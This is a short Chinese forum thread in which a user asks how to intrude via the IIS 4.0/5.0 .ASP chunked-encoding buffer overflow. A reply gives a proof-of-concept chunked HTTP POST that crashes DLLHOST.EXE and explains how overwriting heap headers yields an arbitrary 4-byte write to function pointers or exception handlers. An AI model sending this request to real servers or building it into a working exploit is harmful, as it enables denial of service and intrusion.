论坛: 菜鸟乐园 标题: MicrosoftIIS4.0/5.0.ASP映射分块编码远程缓冲区溢出漏洞怎样入侵? 复制本贴地址    
作者: qqusv [qqusv]    论坛用户   登录
Microsoft IIS 4.0/5.0 .ASP映射分块编码远程缓冲区溢出漏洞怎样入侵?

地主 发表时间: 04/07 18:32

回复: vishx [vishx]   论坛用户   登录
下面的代码可以漏洞重现,在打了最新补丁的W2K上安装默认.asp页面:

**************Begin Session**************** 
POST /iisstart.asp HTTP/1.1 
Accept: */* 
Host: eeye.com 
Content-Type: application/x-www-form-urlencoded 
Transfer-Encoding: chunked 


10 
PADPADPADPADPADP 

DATA 

DEST 

[enter] 
[enter] 
**************End Session****************** 

技术描述如下:

这段会话可以导致在dllhost子进程内执行默认异常处理,昂默认异常处理执行时会弹出如下窗口信息:

DLLHOST.EXE - Application error 
The instruction at 0x77fcb397 referenced memory at 0x54534544 

注意这里的0x54534544十六进制"TSED"字符,或者说“DEST”在little endian格式下的值,DLLHOST.EXE进程尝试拷贝“DATA”到“DEST”,因为这个0x54534544内存地址不可写,所有会出现访问冲突和在NT内核捕获结构异常处理信号并杀掉DLLHOST.EXE子进程。

问题存在与我们提供的数据覆盖了由AllocateHeap()分配的堆管理头结构,清楚的说,当我们覆盖头结构时,我们控制了结构中的两个4字节地址。第一个4字节地址在我们的演示中被“DATA”覆盖,而这个地址会被拷贝到结构头中的第二个4字节地址中。我们也可以覆盖第二个地址,这些使用“DEST”,通过覆盖这两个地址,我们可以在子进程DLLHOST.EXE权利可写的任意内存地址中放置我们自己构早的4字节地址,允许我们覆盖函数指针,保存指令指针,异常处理或者任何我们想要覆盖的地址。 

B1层 发表时间: 04/07 18:43

论坛: 菜鸟乐园

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号